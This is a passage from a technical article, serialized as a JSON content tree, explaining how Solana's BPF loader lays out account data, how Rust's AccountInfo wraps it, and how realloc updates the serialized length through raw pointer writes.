",{"type":26,"tag":475,"props":14885,"children":14886},{"style":2375},[14887],{"type":32,"value":13513},{"type":26,"tag":475,"props":14889,"children":14890},{"style":499},[14891],{"type":32,"value":647},{"type":26,"tag":475,"props":14893,"children":14894},{"class":477,"line":596},[14895],{"type":26,"tag":475,"props":14896,"children":14897},{"style":499},[14898],{"type":32,"value":14899},"}));\n",{"type":26,"tag":475,"props":14901,"children":14902},{"class":477,"line":610},[14903,14907,14911,14915,14919],{"type":26,"tag":475,"props":14904,"children":14905},{"style":2375},[14906],{"type":32,"value":13608},{"type":26,"tag":475,"props":14908,"children":14909},{"style":714},[14910],{"type":32,"value":14770},{"type":26,"tag":475,"props":14912,"children":14913},{"style":2375},[14914],{"type":32,"value":14690},{"type":26,"tag":475,"props":14916,"children":14917},{"style":714},[14918],{"type":32,"value":8616},{"type":26,"tag":475,"props":14920,"children":14921},{"style":499},[14922],{"type":32,"value":14923}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":26,"tag":475,"props":14925,"children":14926},{"class":477,"line":650},[14927,14931,14935,14939,14943,14947,14951,14955,14959,14963,14967,14972,14977],{"type":26,"tag":475,"props":14928,"children":14929},{"style":2375},[14930],{"type":32,"value":13608},{"type":26,"tag":475,"props":14932,"children":14933},{"style":714},[14934],{"type":32,"value":14770},{"type":26,"tag":475,"props":14936,"children":14937},{"style":499},[14938],{"type":32,"value":2775},{"type":26,"tag":475,"props":14940,"children":14941},{"style":2375},[14942],{"type":32,"value":13608},{"type":26,"tag":475,"props":14944,"children":14945},{"style":482},[14946],{"type":32,"value":8539},{"type":26,"tag":475,"props":14948,"children":14949},{"style":714},[14950],{"type":32,"value":9525},{"type":26,"tag":475,"props":14952,"children":14953},{"style":482},[14954],{"type":32,"value":9363},{"type":26,"tag":475,"props":14956,"children":14957},{"style":505},[14958],{"type":32,"value":14341},{"type":26,"tag":475,"props":14960,"children":14961},{"style":499},[14962],{"type":32,"value":2835},{"type":26,"tag":475,"props":14964,"children":14965},{"style":714},[14966],{"type":32,"value":353},{"type":26,"tag":475,"props":14968,"children":14969},{"style":493},[14970],{"type":32,"value":14971},"align_offset",{"type":26,"tag":475,"props":14973,"children":14974},{"style":499},[14975],{"type":32,"value":14976},"(BPF_ALIGN_OF_U128); ",{"type":26,"tag":475,"props":14978,"children":14979},{"style":552},[14980],{"type":32,"value":14981},"// padding\n",{"type":26,"tag":35,"props":14983,"children":14984},{},[14985,14987,14992,14994,15000,15002,15013,15015,15020,15022,15028,15030,15036,15038,15044],{"type":32,"value":14986},"In English, we have the length of the data, as a ",{"type":26,"tag":53,"props":14988,"children":14990},{"className":14989},[],[14991],{"type":32,"value":7753},{"type":32,"value":14993},", followed immediately by the data, and an additional ",{"type":26,"tag":53,"props":14995,"children":14997},{"className":14996},[],[14998],{"type":32,"value":14999},"MAX_PERMITTED_DATA_INCREASE",{"type":32,"value":15001}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":26,"tag":116,"props":15003,"children":15006},{"href":15004,"rel":15005},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[120],[15007],{"type":26,"tag":53,"props":15008,"children":15010},{"className":15009},[],[15011],{"type":32,"value":15012},"slice::from_raw_parts_mut",{"type":32,"value":15014},") - slices are how Rust represents a, well, ",{"type":26,"tag":2615,"props":15016,"children":15017},{},[15018],{"type":32,"value":15019},"slice",{"type":32,"value":15021}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":26,"tag":53,"props":15023,"children":15025},{"className":15024},[],[15026],{"type":32,"value":15027},"Rc\u003CRefCell\u003CT>>",{"type":32,"value":15029},", giving us the unwieldy-looking type of ",{"type":26,"tag":53,"props":15031,"children":15033},{"className":15032},[],[15034],{"type":32,"value":15035},"AccountInfo.data",{"type":32,"value":15037},": ",{"type":26,"tag":53,"props":15039,"children":15041},{"className":15040},[],[15042],{"type":32,"value":15043},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":32,"value":353},{"type":26,"tag":35,"props":15046,"children":15047},{},[15048,15050,15057],{"type":32,"value":15049},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":26,"tag":116,"props":15051,"children":15054},{"href":15052,"rel":15053},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[120],[15055],{"type":32,"value":15056},"cloning the referenced account",{"type":32,"value":179},{"type":26,"tag":465,"props":15059,"children":15061},{"className":2685,"code":15060,"language":2684,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[15062],{"type":26,"tag":53,"props":15063,"children":15064},{"__ignoreMap":7},[15065,15073],{"type":26,"tag":475,"props":15066,"children":15067},{"class":477,"line":478},[15068],{"type":26,"tag":475,"props":15069,"children":15070},{"style":552},[15071],{"type":32,"value":15072},"// Duplicate account, clone the original\n",{"type":26,"tag":475,"props":15074,"children":15075},{"class":477,"line":516},[15076,15080,15084,15088,15092,15096,15100,15105,15109,15113,15118,15122,15127],{"type":26,"tag":475,"props":15077,"children":15078},{"style":2375},[15079],{"type":32,"value":14382},{"type":26,"tag":475,"props":15081,"children":15082},{"style":714},[15083],{"type":32,"value":353},{"type":26,"tag":475,"props":15085,"children":15086},{"style":493},[15087],{"type":32,"value":3519},{"type":26,"tag":475,"props":15089,"children":15090},{"style":499},[15091],{"type":32,"value":626},{"type":26,"tag":475,"props":15093,"children":15094},{"style":2375},[15095],{"type":32,"value":14382},{"type":26,"tag":475,"props":15097,"children":15098},{"style":499},[15099],{"type":32,"value":3440},{"type":26,"tag":475,"props":15101,"children":15102},{"style":2375},[15103],{"type":32,"value":15104},"dup_info",{"type":26,"tag":475,"props":15106,"children":15107},{"style":482},[15108],{"type":32,"value":8539},{"type":26,"tag":475,"props":15110,"children":15111},{"style":505},[15112],{"type":32,"value":13438},{"type":26,"tag":475,"props":15114,"children":15115},{"style":499},[15116],{"type":32,"value":15117},"]",{"type":26,"tag":475,"props":15119,"children":15120},{"style":714},[15121],{"type":32,"value":353},{"type":26,"tag":475,"props":15123,"children":15124},{"style":493},[15125],{"type":32,"value":15126},"clone",{"type":26,"tag":475,"props":15128,"children":15129},{"style":499},[15130],{"type":32,"value":2494},{"type":26,"tag":35,"props":15132,"children":15133},{},[15134,15136,15141,15143,15148,15150,15155,15157,15162,15163,15169,15171,15176,15178,15190,15192,15197],{"type":32,"value":15135},"Since ",{"type":26,"tag":53,"props":15137,"children":15139},{"className":15138},[],[15140],{"type":32,"value":3408},{"type":32,"value":15142}," inside the ",{"type":26,"tag":53,"props":15144,"children":15146},{"className":15145},[],[15147],{"type":32,"value":14644},{"type":32,"value":15149}," is a ",{"type":26,"tag":53,"props":15151,"children":15153},{"className":15152},[],[15154],{"type":32,"value":15027},{"type":32,"value":15156},", where the ",{"type":26,"tag":53,"props":15158,"children":15160},{"className":15159},[],[15161],{"type":32,"value":5701},{"type":32,"value":15149},{"type":26,"tag":53,"props":15164,"children":15166},{"className":15165},[],[15167],{"type":32,"value":15168},"&mut [u8]",{"type":32,"value":15170}," pointing at the actual data buffer, when we clone the ",{"type":26,"tag":53,"props":15172,"children":15174},{"className":15173},[],[15175],{"type":32,"value":14644},{"type":32,"value":15177},", we get a new reference",{"type":26,"tag":15179,"props":15180,"children":15181},"sup",{},[15182],{"type":26,"tag":116,"props":15183,"children":15188},{"href":15184,"ariaDescribedBy":15185,"dataFootnoteRef":7,"id":15187},"#user-content-fn-rc-refs",[15186],"footnote-label","user-content-fnref-rc-refs",[15189],{"type":32,"value":3722},{"type":32,"value":15191}," to the slice pointing at the ",{"type":26,"tag":2615,"props":15193,"children":15194},{},[15195],{"type":32,"value":15196},"same",{"type":32,"value":15198}," data buffer.",{"type":26,"tag":35,"props":15200,"children":15201},{},[15202,15204,15210,15212,15218],{"type":32,"value":15203},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":26,"tag":53,"props":15205,"children":15207},{"className":15206},[],[15208],{"type":32,"value":15209},"RefCell",{"type":32,"value":15211}," to check the rules at runtime. (The ",{"type":26,"tag":53,"props":15213,"children":15215},{"className":15214},[],[15216],{"type":32,"value":15217},"lamports",{"type":32,"value":15219}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":26,"tag":35,"props":15221,"children":15222},{},[15223,15225,15231],{"type":32,"value":15224},"Changing the data of an account is done by simply writing to ",{"type":26,"tag":53,"props":15226,"children":15228},{"className":15227},[],[15229],{"type":32,"value":15230},"AccountInfo::data",{"type":32,"value":15232},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":26,"tag":35,"props":15234,"children":15235},{},[15236,15238,15245],{"type":32,"value":15237},"This is also where the ",{"type":26,"tag":116,"props":15239,"children":15242},{"href":15240,"rel":15241},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[120],[15243],{"type":32,"value":15244},"runtime validity checks",{"type":32,"value":15246}," are imposed.",{"type":26,"tag":465,"props":15248,"children":15250},{"className":2685,"code":15249,"language":2684,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[15251],{"type":26,"tag":53,"props":15252,"children":15253},{"__ignoreMap":7},[15254,15262,15270,15278,15320,15338,15367,15412,15419,15442,15477,15502,15534,15549,15581,15588],{"type":26,"tag":475,"props":15255,"children":15256},{"class":477,"line":478},[15257],{"type":26,"tag":475,"props":15258,"children":15259},{"style":552},[15260],{"type":32,"value":15261},"// Only the owner may change account data\n",{"type":26,"tag":475,"props":15263,"children":15264},{"class":477,"line":516},[15265],{"type":26,"tag":475,"props":15266,"children":15267},{"style":552},[15268],{"type":32,"value":15269},"// and if the account is writable\n",{"type":26,"tag":475,"props":15271,"children":15272},{"class":477,"line":539},[15273],{"type":26,"tag":475,"props":15274,"children":15275},{"style":552},[15276],{"type":32,"value":15277},"// and if the account is not executable\n",{"type":26,"tag":475,"props":15279,"children":15280},{"class":477,"line":548},[15281,15286,15290,15294,15298,15302,15307,15311,15316],{"type":26,"tag":475,"props":15282,"children":15283},{"style":586},[15284],{"type":32,"value":15285},"if",{"type":26,"tag":475,"props":15287,"children":15288},{"style":714},[15289],{"type":32,"value":12572},{"type":26,"tag":475,"props":15291,"children":15292},{"style":499},[15293],{"type":32,"value":626},{"type":26,"tag":475,"props":15295,"children":15296},{"style":2375},[15297],{"type":32,"value":14373},{"type":26,"tag":475,"props":15299,"children":15300},{"style":714},[15301],{"type":32,"value":2990},{"type":26,"tag":475,"props":15303,"children":15304},{"style":2375},[15305],{"type":32,"value":15306}," pre",{"type":26,"tag":475,"props":15308,"children":15309},{"style":714},[15310],{"type":32,"value":353},{"type":26,"tag":475,"props":15312,"children":15313},{"style":493},[15314],{"type":32,"value":15315},"owner",{"type":26,"tag":475,"props":15317,"children":15318},{"style":499},[15319],{"type":32,"value":607},{"type":26,"tag":475,"props":15321,"children":15322},{"class":477,"line":558},[15323,15328,15333],{"type":26,"tag":475,"props":15324,"children":15325},{"style":714},[15326],{"type":32,"value":15327}," &&",{"type":26,"tag":475,"props":15329,"children":15330},{"style":2375},[15331],{"type":32,"value":15332}," is_writable",{"type":26,"tag":475,"props":15334,"children":15335},{"style":552},[15336],{"type":32,"value":15337}," // line coverage used to get branch coverage\n",{"type":26,"tag":475,"props":15339,"children":15340},{"class":477,"line":582},[15341,15345,15349,15353,15357,15362],{"type":26,"tag":475,"props":15342,"children":15343},{"style":714},[15344],{"type":32,"value":15327},{"type":26,"tag":475,"props":15346,"children":15347},{"style":714},[15348],{"type":32,"value":12572},{"type":26,"tag":475,"props":15350,"children":15351},{"style":2375},[15352],{"type":32,"value":465},{"type":26,"tag":475,"props":15354,"children":15355},{"style":714},[15356],{"type":32,"value":353},{"type":26,"tag":475,"props":15358,"children":15359},{"style":493},[15360],{"type":32,"value":15361},"executable",{"type":26,"tag":475,"props":15363,"children":15364},{"style":499},[15365],{"type":32,"value":15366},"())\n",{"type":26,"tag":475,"props":15368,"children":15369},{"class":477,"line":596},[15370,15374,15378,15382,15386,15390,15395,15400,15404,15408],{"type":26,"tag":475,"props":15371,"children":15372},{"style":714},[15373],{"type":32,"value":15327},{"type":26,"tag":475,"props":15375,"children":15376},{"style":2375},[15377],{"type":32,"value":15306},{"type":26,"tag":475,"props":15379,"children":15380},{"style":714},[15381],{"type":32,"value":353},{"type":26,"tag":475,"props":15383,"children":15384},{"style":493},[15385],{"type":32,"value":3408},{"type":26,"tag":475,"props":15387,"children":15388},{"style":499},[15389],{"type":32,"value":13750},{"type":26,"tag":475,"props":15391,"children":15392},{"style":714},[15393],{"type":32,"value":15394},"!=",{"type":26,"tag":475,"props":15396,"children":15397},{"style":2375},[15398],{"type":32,"value":15399}," post",{"type":26,"tag":475,"props":15401,"children":15402},{"style":714},[15403],{"type":32,"value":353},{"type":26,"tag":475,"props":15405,"children":15406},{"style":493},[15407],{"type":32,"value":3408},{"type":26,"tag":475,"props":15409,"children":15410},{"style":499},[15411],{"type":32,"value":607},{"type":26,"tag":475,"props":15413,"children":15414},{"class":477,"line":610},[15415],{"type":26,"tag":475,"props":15416,"children":15417},{"style":499},[15418],{"type":32,"value":10589},{"type":26,"tag":475,"props":15420,"children":15421},{"class":477,"line":650},[15422,15426,15430,15434,15438],{"type":26,"tag":475,"props":15423,"children":15424},{"style":586},[15425],{"type":32,"value":11988},{"type":26,"tag":475,"props":15427,"children":15428},{"style":2375},[15429],{"type":32,"value":15306},{"type":26,"tag":475,"props":15431,"children":15432},{"style":714},[15433],{"type":32,"value":353},{"type":26,"tag":475,"props":15435,"children":15436},{"style":493},[15437],{"type":32,"value":15361},{"type":26,"tag":475,"props":15439,"children":15440},{"style":499},[15441],{"type":32,"value":882},{"type":26,"tag":475,"props":15443,"children":15444},{"class":477,"line":679},[15445,15450,15455,15459,15464,15468,15473],{"type":26,"tag":475,"props":15446,"children":15447},{"style":586},[15448],{"type":32,"value":15449}," return",{"type":26,"tag":475,"props":15451,"children":15452},{"style":505},[15453],{"type":32,"value":15454}," Err",{"type":26,"tag":475,"props":15456,"children":15457},{"style":499},[15458],{"type":32,"value":626},{"type":26,"tag":475,"props":15460,"children":15461},{"style":505},[15462],{"type":32,"value":15463},"InstructionError",{"type":26,"tag":475,"props":15465,"children":15466},{"style":714},[15467],{"type":32,"value":3187},{"type":26,"tag":475,"props":15469,"children":15470},{"style":505},[15471],{"type":32,"value":15472},"ExecutableDataModified",{"type":26,"tag":475,"props":15474,"children":15475},{"style":499},[15476],{"type":32,"value":3533},{"type":26,"tag":475,"props":15478,"children":15479},{"class":477,"line":735},[15480,15485,15489,15494,15498],{"type":26,"tag":475,"props":15481,"children":15482},{"style":499},[15483],{"type":32,"value":15484}," } ",{"type":26,"tag":475,"props":15486,"children":15487},{"style":586},[15488],{"type":32,"value":3023},{"type":26,"tag":475,"props":15490,"children":15491},{"style":586},[15492],{"type":32,"value":15493}," if",{"type":26,"tag":475,"props":15495,"children":15496},{"style":2375},[15497],{"type":32,"value":15332},{"type":26,"tag":475,"props":15499,"children":15500},{"style":499},[15501],{"type":32,"value":579},{"type":26,"tag":475,"props":15503,"children":15504},{"class":477,"line":744},[15505,15509,15513,15517,15521,15525,15530],{"type":26,"tag":475,"props":15506,"children":15507},{"style":586},[15508],{"type":32,"value":15449},{"type":26,"tag":475,"props":15510,"children":15511},{"style":505},[15512],{"type":32,"value":15454},{"type":26,"tag":475,"props":15514,"children":15515},{"style":499},[15516],{"type":32,"value":626},{"type":26,"tag":475,"props":15518,"children":15519},{"style":505},[15520],{"type":32,"value":15463},{"type":26,"tag":475,"props":15522,"children":15523},{"style":714},[15524],{"type":32,"value":3187},{"type":26,"tag":475,"props":15526,"children":15527},{"style":505},[15528],{"type":32,"value":15529},"ExternalAccountDataModified",{"type":26,"tag":475,"props":15531,"children":15532},{"style":499},[15533],{"type":32,"value":3533},{"type":26,"tag":475,"props":15535,"children":15536},{"class":477,"line":753},[15537,15541,15545],{"type":26,"tag":475,"props":15538,"children":15539},{"style":499},[15540],{"type":32,"value":15484},{"type":26,"tag":475,"props":15542,"children":15543},{"style":586},[15544],{"type":32,"value":3023},{"type":26,"tag":475,"props":15546,"children":15547},{"style":499},[15548],{"type":32,"value":579},{"type":26,"tag":475,"props":15550,"children":15551},{"class":477,"line":761},[15552,15556,15560,15564,15568,15572,15577],{"type":26,"tag":475,"props":15553,"children":15554},{"style":586},[15555],{"type":32,"value":15449},{"type":26,"tag":475,"props":15557,"children":15558},{"style":505},[15559],{"type":32,"value":15454},{"type":26,"tag":475,"props":15561,"children":15562},{"style":499},[15563],{"type":32,"value":626},{"type":26,"tag":475,"props":15565,"children":15566},{"style":505},[15567],{"type":32,"value":15463},{"type":26,"tag":475,"props":15569,"children":15570},{"style":714},[15571],{"type":32,"value":3187},{"type":26,"tag":475,"props":15573,"children":15574},{"style":505},[15575],{"type":32,"value":15576},"ReadonlyDataModified",{"type":26,"tag":475,"props":15578,"children":15579},{"style":499},[15580],{"type":32,"value":3533},{"type":26,"tag":475,"props":15582,"children":15583},{"class":477,"line":770},[15584],{"type":26,"tag":475,"props":15585,"children":15586},{"style":499},[15587],{"type":32,"value":851},{"type":26,"tag":475,"props":15589,"children":15590},{"class":477,"line":794},[15591],{"type":26,"tag":475,"props":15592,"children":15593},{"style":499},[15594],{"type":32,"value":3607},{"type":26,"tag":41,"props":15596,"children":15598},{"id":15597},"back-to-realloc",[15599,15601],{"type":32,"value":15600},"Back to ",{"type":26,"tag":53,"props":15602,"children":15604},{"className":15603},[],[15605],{"type":32,"value":13345},{"type":26,"tag":35,"props":15607,"children":15608},{},[15609],{"type":32,"value":15610},"As a reminder, this is what we were looking at before that detour:",{"type":26,"tag":465,"props":15612,"children":15613},{"className":2685,"code":14098,"language":2684,"meta":7,"style":7},[15614],{"type":26,"tag":53,"props":15615,"children":15616},{"__ignoreMap":7},[15617,15624,15711],{"type":26,"tag":475,"props":15618,"children":15619},{"class":477,"line":478},[15620],{"type":26,"tag":475,"props":15621,"children":15622},{"style":552},[15623],{"type":32,"value":14110},{"type":26,"tag":475,"props":15625,"children":15626},{"class":477,"line":516},[15627,15631,15635,15639,15643,15647,15651,15655,15659,15663,15667,15671,15675,15679,15683,15687,15691,15695,15699,15703,15707],{"type":26,"tag":475,"props":15628,"children":15629},{"style":482},[15630],{"type":32,"value":11496},{"type":26,"tag":475,"props":15632,"children":15633},{"style":2375},[15634],{"type":32,"value":13564},{"type":26,"tag":475,"props":15636,"children":15637},{"style":714},[15638],{"type":32,"value":2383},{"type":26,"tag":475,"props":15640,"children":15641},{"style":482},[15642],{"type":32,"value":13504},{"type":26,"tag":475,"props":15644,"children":15645},{"style":714},[15646],{"type":32,"value":353},{"type":26,"tag":475,"props":15648,"children":15649},{"style":493},[15650],{"type":32,"value":13581},{"type":26,"tag":475,"props":15652,"children":15653},{"style":499},[15654],{"type":32,"value":13586},{"type":26,"tag":475,"props":15656,"children":15657},{"style":714},[15658],{"type":32,"value":2840},{"type":26,"tag":475,"props":15660,"children":15661},{"style":493},[15662],{"type":32,"value":13595},{"type":26,"tag":475,"props":15664,"children":15665},{"style":499},[15666],{"type":32,"value":13586},{"type":26,"tag":475,"props":15668,"children":15669},{"style":714},[15670],{"type":32,"value":353},{"type":26,"tag":475,"props":15672,"children":15673},{"style":493},[15674],{"type":32,"value":13608},{"type":26,"tag":475,"props":15676,"children":15677},{"style":499},[15678],{"type":32,"value":626},{"type":26,"tag":475,"props":15680,"children":15681},{"style":714},[15682],{"type":32,"value":4039},{"type":26,"tag":475,"props":15684,"children":15685},{"style":903},[15686],{"type":32,"value":3786},{"type":26,"tag":475,"props":15688,"children":15689},{"style":499},[15690],{"type":32,"value":2794},{"type":26,"tag":475,"props":15692,"children":15693},{"style":482},[15694],{"type":32,"value":8553},{"type":26,"tag":475,"props":15696,"children":15697},{"style":714},[15698],{"type":32,"value":9525},{"type":26,"tag":475,"props":15700,"children":15701},{"style":482},[15702],{"type":32,"value":3430},{"type":26,"tag":475,"props":15704,"children":15705},{"style":505},[15706],{"type":32,"value":5573},{"type":26,"tag":475,"props":15708,"children":15709},{"style":499},[15710],{"type":32,"value":2729},{"type":26,"tag":475,"props":15712,"children":15713},{"class":477,"line":539},[15714,15718,15722,15726,15730,15734,15738],{"type":26,"tag":475,"props":15715,"children":15716},{"style":714},[15717],{"type":32,"value":4282},{"type":26,"tag":475,"props":15719,"children":15720},{"style":2375},[15721],{"type":32,"value":13656},{"type":26,"tag":475,"props":15723,"children":15724},{"style":714},[15725],{"type":32,"value":2383},{"type":26,"tag":475,"props":15727,"children":15728},{"style":2375},[15729],{"type":32,"value":13665},{"type":26,"tag":475,"props":15731,"children":15732},{"style":482},[15733],{"type":32,"value":8539},{"type":26,"tag":475,"props":15735,"children":15736},{"style":505},[15737],{"type":32,"value":5573},{"type":26,"tag":475,"props":15739,"children":15740},{"style":499},[15741],{"type":32,"value":2729},{"type":26,"tag":35,"props":15743,"children":15744},{},[15745,15750,15752,15757,15759,15764,15766,15777,15779,15784,15786,15791],{"type":26,"tag":53,"props":15746,"children":15748},{"className":15747},[],[15749],{"type":32,"value":13581},{"type":32,"value":15751}," gives us the ",{"type":26,"tag":53,"props":15753,"children":15755},{"className":15754},[],[15756],{"type":32,"value":15168},{"type":32,"value":15758}," from the ",{"type":26,"tag":53,"props":15760,"children":15762},{"className":15761},[],[15763],{"type":32,"value":15043},{"type":32,"value":15765},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":26,"tag":116,"props":15767,"children":15770},{"href":15768,"rel":15769},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[120],[15771],{"type":26,"tag":53,"props":15772,"children":15774},{"className":15773},[],[15775],{"type":32,"value":15776},"slice::as_mut_ptr()",{"type":32,"value":15778}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":26,"tag":53,"props":15780,"children":15782},{"className":15781},[],[15783],{"type":32,"value":7753},{"type":32,"value":15785}," - behind the data buffer), and then writes ",{"type":26,"tag":53,"props":15787,"children":15789},{"className":15788},[],[15790],{"type":32,"value":13429},{"type":32,"value":15792}," to it.",{"type":26,"tag":35,"props":15794,"children":15795},{},[15796,15798,15810,15812,15818],{"type":32,"value":15797},"This is reasonable... ",{"type":26,"tag":2615,"props":15799,"children":15800},{},[15801,15803,15808],{"type":32,"value":15802},"as long as the ",{"type":26,"tag":53,"props":15804,"children":15806},{"className":15805},[],[15807],{"type":32,"value":3408},{"type":32,"value":15809}," actually came from the serialized buffer",{"type":32,"value":15811},". We'll come back to this ",{"type":26,"tag":116,"props":15813,"children":15815},{"href":15814},"#Not-contracts",[15816],{"type":32,"value":15817},"later",{"type":32,"value":353},{"type":26,"tag":35,"props":15820,"children":15821},{},[15822,15824,15829],{"type":32,"value":15823},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":26,"tag":53,"props":15825,"children":15827},{"className":15826},[],[15828],{"type":32,"value":15168},{"type":32,"value":15830}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":26,"tag":465,"props":15832,"children":15834},{"className":2685,"code":15833,"language":2684,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[15835],{"type":26,"tag":53,"props":15836,"children":15837},{"__ignoreMap":7},[15838,15846,15973],{"type":26,"tag":475,"props":15839,"children":15840},{"class":477,"line":478},[15841],{"type":26,"tag":475,"props":15842,"children":15843},{"style":552},[15844],{"type":32,"value":15845},"// Then set the new length in the local slice\n",{"type":26,"tag":475,"props":15847,"children":15848},{"class":477,"line":516},[15849,15853,15857,15861,15865,15869,15873,15877,15881,15885,15889,15893,15897,15901,15905,15909,15913,15917,15921,15925,15929,15933,15937,15941,15945,15949,15953,15957,15961,15965,15969],{"type":26,"tag":475,"props":15850,"children":15851},{"style":482},[15852],{"type":32,"value":11496},{"type":26,"tag":475,"props":15854,"children":15855},{"style":2375},[15856],{"type":32,"value":13564},{"type":26,"tag":475,"props":15858,"children":15859},{"style":714},[15860],{"type":32,"value":2383},{"type":26,"tag":475,"props":15862,"children":15863},{"style":714},[15864],{"type":32,"value":6854},{"type":26,"tag":475,"props":15866,"children":15867},{"style":482},[15868],{"type":32,"value":3430},{"type":26,"tag":475,"props":15870,"children":15871},{"style":714},[15872],{"type":32,"value":9525},{"type":26,"tag":475,"props":15874,"children":15875},{"style":499},[15876],{"type":32,"value":13724},{"type":26,"tag":475,"props":15878,"children":15879},{"style":482},[15880],{"type":32,"value":13420},{"type":26,"tag":475,"props":15882,"children":15883},{"style":714},[15884],{"type":32,"value":353},{"type":26,"tag":475,"props":15886,"children":15887},{"style":499},[15888],{"type":32,"value":3408},{"type":26,"tag":475,"props":15890,"children":15891},{"style":714},[15892],{"type":32,"value":353},{"type":26,"tag":475,"props":15894,"children":15895},{"style":493},[15896],{"type":32,"value":13745},{"type":26,"tag":475,"props":15898,"children":15899},{"style":499},[15900],{"type":32,"value":13750},{"type":26,"tag":475,"props":15902,"children":15903},{"style":482},[15904],{"type":32,"value":8553},{"type":26,"tag":475,"props":15906,"children":15907},{"style":714},[15908],{"type":32,"value":9525},{"type":26,"tag":475,"props":15910,"children":15911},{"style":482},[15912],{"type":32,"value":9363},{"type":26,"tag":475,"props":15914,"children":15915},{"style":505},[15916],{"type":32,"value":5573},{"type":26,"tag":475,"props":15918,"children":15919},{"style":499},[15920],{"type":32,"value":2835},{"type":26,"tag":475,"props":15922,"children":15923},{"style":714},[15924],{"type":32,"value":353},{"type":26,"tag":475,"props":15926,"children":15927},{"style":493},[15928],{"type":32,"value":13608},{"type":26,"tag":475,"props":15930,"children":15931},{"style":499},[15932],{"type":32,"value":626},{"type":26,"tag":475,"props":15934,"children":15935},{"style":903},[15936],{"type":32,"value":3722},{"type":26,"tag":475,"props":15938,"children":15939},{"style":499},[15940],{"type":32,"value":2794},{"type":26,"tag":475,"props":15942,"children":15943},{"style":482},[15944],{"type":32,"value":8553},{"type":26,"tag":475,"props":15946,"children":15947},{"style":505},[15948],{"type":32,"value":5573},{"type":26,"tag":475,"props":15950,"children":15951},{"style":499},[15952],{"type":32,"value":2794},{"type":26,"tag":475,"props":15954,"children":15955},{"style":482},[15956],{"type":32,"value":8553},{"type":26,"tag":475,"props":15958,"children":15959},{"style":714},[15960],{"type":32,"value":9525},{"type":26,"tag":475,"props":15962,"children":15963},{"style":482},[15964],{"type":32,"value":3430},{"type":26,"tag":475,"props":15966,"children":15967},{"style":505},[15968],{"type":32,"value":5573},{"type":26,"tag":475,"props":15970,"children":15971},{"style":499},[15972],{"type":32,"value":3533},{"type":26,"tag":475,"props":15974,"children":15975},{"class":477,"line":539},[15976,15980,15984,15988,15992,15996,16000],{"type":26,"tag":475,"props":15977,"children":15978},{"style":714},[15979],{"type":32,"value":4282},{"type":26,"tag":475,"props":15981,"children":15982},{"style":2375},[15983],{"type":32,"value":13656},{"type":26,"tag":475,"props":15985,"children":15986},{"style":714},[15987],{"type":32,"value":2383},{"type":26,"tag":475,"props":15989,"children":15990},{"style":2375},[15991],{"type":32,"value":13665},{"type":26,"tag":475,"props":15993,"children":15994},{"style":482},[15995],{"type":32,"value":8539},{"type":26,"tag":475,"props":15997,"children":15998},{"style":505},[15999],{"type":32,"value":5573},{"type":26,"tag":475,"props":16001,"children":16002},{"style":499},[16003],{"type":32,"value":2729},{"type":26,"tag":35,"props":16005,"children":16006},{},[16007,16009,16015,16017,16028,16030,16036,16038,16044,16046,16051,16053,16058,16060,16070,16071,16078,16079,16086,16093,16095,16101,16103,16109,16111,16116,16118,16123,16125,16131,16133,16138],{"type":32,"value":16008},"That ",{"type":26,"tag":53,"props":16010,"children":16012},{"className":16011},[],[16013],{"type":32,"value":16014},"as_ptr()",{"type":32,"value":16016}," call is ",{"type":26,"tag":116,"props":16018,"children":16021},{"href":16019,"rel":16020},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[120],[16022],{"type":26,"tag":53,"props":16023,"children":16025},{"className":16024},[],[16026],{"type":32,"value":16027},"RefCell::as_ptr()",{"type":32,"value":16029}," due to the ",{"type":26,"tag":53,"props":16031,"children":16033},{"className":16032},[],[16034],{"type":32,"value":16035},"Deref",{"type":32,"value":16037}," impl on ",{"type":26,"tag":53,"props":16039,"children":16041},{"className":16040},[],[16042],{"type":32,"value":16043},"Rc",{"type":32,"value":16045}," (remember also that ",{"type":26,"tag":53,"props":16047,"children":16049},{"className":16048},[],[16050],{"type":32,"value":15209},{"type":32,"value":16052}," itself doesn't behave like a reference, you need to actually ",{"type":26,"tag":2615,"props":16054,"children":16055},{},[16056],{"type":32,"value":16057},"get",{"type":32,"value":16059}," one through 